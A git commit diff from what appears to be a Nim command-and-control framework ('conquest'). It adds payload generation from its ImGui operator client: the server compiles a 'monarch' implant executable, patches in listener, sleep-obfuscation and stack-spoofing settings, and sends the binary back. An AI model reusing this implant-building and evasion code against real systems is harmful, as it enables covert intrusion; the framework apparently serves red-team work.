Implemented generating agent payloads from the ImGui client.

This commit is contained in:
Jakob Friedl
2025-09-27 15:18:45 +02:00
parent ceba377939
commit 47799ee5f5
11 changed files with 86 additions and 56 deletions

View File

@@ -31,3 +31,4 @@ requires "imguin >= 1.92.2.1"
requires "zippy >= 0.10.16"
requires "mummy >= 0.4.6"
requires "whisky >= 0.1.3"
requires "native_dialogs >= 0.2.0"

View File

@@ -4,5 +4,5 @@
--opt:size
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES=0
-d:MODULES="223"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -1,6 +1,6 @@
import whisky
import tables, strutils, json, parsetoml
import ./utils/appImGui
import tables, strutils, strformat, json, parsetoml, base64, os # native_dialogs
import ./utils/[appImGui, globals]
import ./views/[dockspace, sessions, listeners, eventlog, console]
import ../common/[types, utils]
import ./websocket
@@ -97,6 +97,15 @@ proc main() =
sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
of CLIENT_AGENT_PAYLOAD:
let payload = decode(event.data["payload"].getStr())
try:
let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe"
# TODO: Using native file dialogs to have the client select the output file path (does not work in WSL)
# let outFilePath = callDialogFileSave("Save Payload")
writeFile(outFilePath, payload)
except IOError:
discard
of CLIENT_CONSOLE_ITEM:

View File

@@ -205,7 +205,7 @@ proc draw*(component: ConsoleComponent, ws: WebSocket) =
igText("Press CTRL+F to focus console filter.")
igText("Use \",\" as a delimiter to filter for multiple values.")
igText("Use \"-\" to exclude values.")
igText("Example: \"-warning,a,b\" returns all lines that do not include \"warning\" but include \"a\" or \"b\".")
igText("Example: \"-warning,a,b\" returns all lines that do not include \"warning\" but include either \"a\" or \"b\".")
igEndTooltip()
if igIsWindowFocused(ImGui_FocusedFlags_ChildWindows.int32) and io.KeyCtrl and igIsKeyPressed_Bool(ImGuiKey_F, false):

View File

@@ -43,7 +43,9 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, ws: WebS
if listener != nil:
ws.sendStartListener(listener)
component.generatePayloadModal.draw(component.listeners)
let buildInformation = component.generatePayloadModal.draw(component.listeners)
if buildInformation != nil:
ws.sendAgentBuild(buildInformation)
#[
Listener table

View File

@@ -43,7 +43,7 @@ proc resetModalValues(component: AgentModalComponent) =
component.spoofStack = false
component.moduleSelection.reset()
proc draw*(component: AgentModalComponent, listeners: seq[UIListener]) =
proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBuildInformation =
let textSpacing = igGetStyle().ItemSpacing.x
@@ -114,17 +114,18 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]) =
if igButton("Build", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
# Get values
echo listeners[component.listener].listenerId
echo $component.sleepDelay
echo component.sleepMaskTechniques[component.sleepMask]
echo $component.spoofStack
# Iterate over modules
var module: uint32 = 0
var modules: uint32 = 0
for m in component.moduleSelection.items[1]:
module = module or uint32(m.moduleType)
echo module
modules = modules or uint32(m.moduleType)
result = AgentBuildInformation(
listenerId: listeners[component.listener].listenerId,
sleepDelay: component.sleepDelay,
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
spoofStack: component.spoofStack,
modules: modules
)
component.resetModalValues()
igCloseCurrentPopup()

View File

@@ -25,6 +25,20 @@ proc sendStopListener*(ws: WebSocket, listenerId: string) =
)
ws.sendEvent(event)
proc sendAgentBuild*(ws: WebSocket, buildInformation: AgentBuildInformation) =
let event = Event(
eventType: CLIENT_AGENT_BUILD,
timestamp: now().toTime().toUnix(),
data: %*{
"listenerId": buildInformation.listenerId,
"sleepDelay": buildInformation.sleepDelay,
"sleepTechnique": cast[uint8](buildInformation.sleepTechnique),
"spoofStack": buildInformation.spoofStack,
"modules": buildInformation.modules
}
)
ws.sendEvent(event)
# proc sendAgentCommand*(ws: WebSocket, agentId: string, command: string) =
# var packer = Packer.init()

View File

@@ -330,3 +330,11 @@ type
ConsoleItems* = ref object
items*: seq[ConsoleItem]
AgentBuildInformation* = ref object
listenerId*: string
sleepDelay*: uint32
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
modules*: uint32

View File

@@ -7,7 +7,7 @@ import ../../common/[types, utils, profile, serialize, crypto]
const PLACEHOLDER = "PLACEHOLDER"
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: string, spoofStack: bool): seq[byte] =
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool): seq[byte] =
var packer = Packer.init()
@@ -21,7 +21,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT
# Sleep settings
packer.add(uint32(sleep))
packer.add(uint8(parseEnum[SleepObfuscationTechnique](sleepTechnique.toUpperAscii())))
packer.add(uint8(sleepTechnique))
packer.add(uint8(spoofStack))
# Public key for key exchange
@@ -59,7 +59,7 @@ proc replaceAfterPrefix(content, prefix, value: string): string =
it
).join("\n")
proc compile(cq: Conquest, placeholderLength: int): string =
proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string =
let
configFile = fmt"{CONQUEST_ROOT}/src/agent/nim.cfg"
@@ -75,7 +75,7 @@ proc compile(cq: Conquest, placeholderLength: int): string =
var config = readFile(configFile)
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
.replaceAfterPrefix("-o:", exeFile)
# .replaceAfterPrefix("-d:MODULES=", modules)
.replaceAfterPrefix("-d:MODULES=", $modules)
writeFile(configFile, config)
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")
@@ -106,7 +106,7 @@ proc compile(cq: Conquest, placeholderLength: int): string =
cq.error("An error occurred: ", err.msg)
return ""
proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bool =
proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): seq[byte] =
cq.info("Patching profile configuration into agent.")
@@ -124,44 +124,29 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bo
for i, c in Bytes.toString(configuration):
exeBytes[placeholderPos + i] = c
writeFile(unpatchedExePath, exeBytes)
cq.success(fmt"Agent payload patched successfully: {unpatchedExePath}.")
return string.toBytes(exeBytes)
except CatchableError as err:
cq.error("An error occurred: ", err.msg)
return false
return true
return @[]
# Agent generation
proc agentBuild*(cq: Conquest, listener, sleepDelay: string, sleepTechnique: string, spoofStack: bool): bool {.discardable.} =
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, modules: uint32): seq[byte] =
# Verify that listener exists
if not cq.dbListenerExists(listener.toUpperAscii):
cq.error(fmt"Listener {listener.toUpperAscii} does not exist.")
return false
if not cq.dbListenerExists(listenerId.toUpperAscii):
cq.error(fmt"Listener {listenerId.toUpperAscii} does not exist.")
return
let listener = cq.listeners[listener.toUpperAscii]
let listener = cq.listeners[listenerId.toUpperAscii]
var config: seq[byte]
if sleepDelay.isEmptyOrWhitespace():
# If no sleep value has been defined, take the default from the profile
config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep"), sleepTechnique, spoofStack)
else:
config = cq.serializeConfiguration(listener, parseInt(sleepDelay), sleepTechnique, spoofStack)
var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack)
let unpatchedExePath = cq.compile(config.len)
let unpatchedExePath = cq.compile(config.len, modules)
if unpatchedExePath.isEmptyOrWhitespace():
return false
if not cq.patch(unpatchedExePath, config):
return false
return true
return
# Return packet to send to client
return cq.patch(unpatchedExePath, config)

View File

@@ -107,7 +107,8 @@ proc handleConsoleCommand(cq: Conquest, args: string) =
of "interact":
cq.agentInteract(opts.agent.get.interact.get.name)
of "build":
cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.sleepmask, opts.agent.get.build.get.spoof_stack)
discard
# cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.sleepmask, opts.agent.get.build.get.spoof_stack)
else:
cq.agentUsage()
@@ -185,7 +186,17 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
cq.listenerStop(listenerId)
of CLIENT_AGENT_BUILD:
discard
let
listenerId = event.data["listenerId"].getStr()
sleepDelay = event.data["sleepDelay"].getInt()
sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt())
spoofStack = event.data["spoofStack"].getBool()
modules = cast[uint32](event.data["modules"].getInt())
let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, modules)
if payload.len() != 0:
cq.client.sendAgentPayload(payload)
else: discard
of ErrorEvent:
@@ -196,7 +207,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
proc serve(server: Server) {.thread.} =
try:
server.serve(Port(12345))
server.serve(Port(12345), "127.0.0.1")
except Exception:
discard

View File

@@ -59,12 +59,11 @@ proc sendAgentCheckin*(client: UIClient, agentId: string) =
if client != nil:
client.ws.sendEvent(event)
proc sendAgentPayload*(client: UIClient, agentId: string, bytes: seq[byte]) =
proc sendAgentPayload*(client: UIClient, bytes: seq[byte]) =
let event = Event(
eventType: CLIENT_AGENT_PAYLOAD,
timestamp: now().toTime().toUnix(),
data: %*{
"agentId": agentId,
"payload": encode(bytes)
}
)